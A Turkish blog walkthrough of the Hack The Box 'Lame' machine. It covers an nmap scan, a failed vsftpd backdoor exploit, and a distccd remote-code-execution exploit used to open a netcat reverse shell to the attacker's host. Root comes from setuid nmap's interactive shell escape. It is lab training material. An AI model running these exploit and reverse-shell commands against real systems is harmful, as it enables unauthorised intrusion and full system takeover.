İçeriğe geç

Lame

Tarih: 29/07/2021 | Yazar: kuday
Makine Adı Seviye OS Logo
Lame – HTB Kolay Linux

Walkthrough

Nmap taraması ile başlayalım.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 09:09 EDT
Nmap scan report for 10.10.10.3
Host is up (0.073s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.13
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: DD-WRT v24-sp1 (Linux 2.4.36) (92%), OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.30) (92%), Control4 HC-300 home controller (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC5) (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m25s, deviation: 2h49m46s, median: 22s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2021-07-29T09:11:54-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   74.68 ms 10.10.14.1
2   74.74 ms 10.10.10.3

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.09 seconds

nmap çıktısına göre vsftpd 2.3.4 zafiyetli ancak manipüle edemedim. Bunun üzerine diğer servislerle ilgilenmeye başladım ve internette distccd v1 exploitini buldum.

İlk olarak ftp için yaptıklarım aşağıda

┌──(root💀kali)-[~/oscp/htb/Lame]
└─# searchsploit vsftpd 2.3.4                                                                                                                                                                                                             1 ⚙
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution                                                                                                                                                                   | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                                                                                      | unix/remote/17491.rb
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

┌──(root💀kali)-[~/oscp/htb/Lame]
└─# searchsploit -m unix/remote/49757.py                                                                                                                                                                                                  1 ⚙
  Exploit: vsftpd 2.3.4 - Backdoor Command Execution
      URL: https://www.exploit-db.com/exploits/49757
     Path: /usr/share/exploitdb/exploits/unix/remote/49757.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /root/oscp/htb/Lame/49757.py

┌──(root💀kali)-[~/oscp/htb/Lame]
└─# python3 49757.py 10.10.10.3                                                                                                                                                                                                           1 ⚙
Traceback (most recent call last):
  File "/root/oscp/htb/Lame/49757.py", line 37, in <module>
    tn2=Telnet(host, 6200)
  File "/usr/lib/python3.9/telnetlib.py", line 218, in __init__
    self.open(host, port, timeout)
  File "/usr/lib/python3.9/telnetlib.py", line 235, in open
    self.sock = socket.create_connection((host, port), timeout)
  File "/usr/lib/python3.9/socket.py", line 843, in create_connection
    raise err
  File "/usr/lib/python3.9/socket.py", line 831, in create_connection
    sock.connect(sa)
TimeoutError: [Errno 110] Connection timed out

https://gist.githubusercontent.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855/raw/48ab4eb0bd69cac67bc97fbe182e39e5ded99f9f/distccd_rce_CVE-2004-2687.py adresindeki exploit ile reverse alabildim.


┌──(root💀kali)-[~/oscp/htb/Lame]
└─# wget https://gist.githubusercontent.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855/raw/48ab4eb0bd69cac67bc97fbe182e39e5ded99f9f/distccd_rce_CVE-2004-2687.py
--2021-07-29 09:43:36--  https://gist.githubusercontent.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855/raw/48ab4eb0bd69cac67bc97fbe182e39e5ded99f9f/distccd_rce_CVE-2004-2687.py
Resolving gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to gist.githubusercontent.com (gist.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2650 (2.6K) [text/plain]
Saving to: ‘distccd_rce_CVE-2004-2687.py’

distccd_rce_CVE-2004-2687.py                                100%[=========================================================================================================================================>]   2.59K  --.-KB/s    in 0s      

2021-07-29 09:43:37 (28.4 MB/s) - ‘distccd_rce_CVE-2004-2687.py’ saved [2650/2650]

┌──(root💀kali)-[~/oscp/htb/Lame]
└─# python2 distccd_rce_CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c hostname
[OK] Connected to remote service

--- BEGIN BUFFER ---

lame

--- END BUFFER ---

[OK] Done.

┌──(root💀kali)-[~/oscp/htb/Lame]
└─# python2 distccd_rce_CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.13 4444 -e /bin/bash"
[OK] Connected to remote service

```sh

┌──(root💀kali)-[~/oscp/htb/Lame]
└─# nc -lvp 4444   
listening on [any] 4444 ...
10.10.10.3: inverse host lookup failed: Unknown host
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.3] 38094
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/bash")'
daemon@lame:/tmp$ ls
ls
5563.jsvc_up        distcc_d863b149.stderr  distccd_d8e3b149.o  vmware-root
distcc_d856b149.stdout  distccd_d81db149.i  vgauthsvclog.txt.0
daemon@lame:/tmp$

İlk flagimizi okuyalım.

daemon@lame:/home/makis$ ls
ls
total 28
drwxr-xr-x 2 makis makis 4096 Mar 14  2017 .
drwxr-xr-x 6 root  root  4096 Mar 14  2017 ..
-rw------- 1 makis makis 1107 Mar 14  2017 .bash_history
-rw-r--r-- 1 makis makis  220 Mar 14  2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14  2017 .bashrc
-rw-r--r-- 1 makis makis  586 Mar 14  2017 .profile
-rw-r--r-- 1 makis makis    0 Mar 14  2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis   33 Jul 29 07:30 user.txt
daemon@lame:/home/makis$ cat user.txt
cat user.txt
bf9****************************

Yetki yükseltmek için enumaration yaparken nmap ile ilgili ilgi çekici bir çıktı yakaladım.


[!] fst020 Uncommon setuid binaries........................................ yes!
---ore--(9%)
/lib/dhcp3-client/call-dhclient-script
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/netkit-rlogin
/usr/bin/nmap
/usr/bin/netkit-rcp
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
---ore--(9%)
daemon@lame:/tmp$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@lame:/tmp$ nmap -V
nmap -V

Nmap version 4.53 ( http://insecure.org )
daemon@lame:/tmp$ nmap --interactive
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h  for help
nmap>  !sh
 !sh
sh-3.2# id
id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=1(daemon)
sh-3.2# cd /root
cd /root
sh-3.2# ls
ls
Desktop  reset_logs.sh  root.txt  vnc.log
sh-3.2# cat root.txt
cat root.txt
c5***************************
Kategori:Walkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir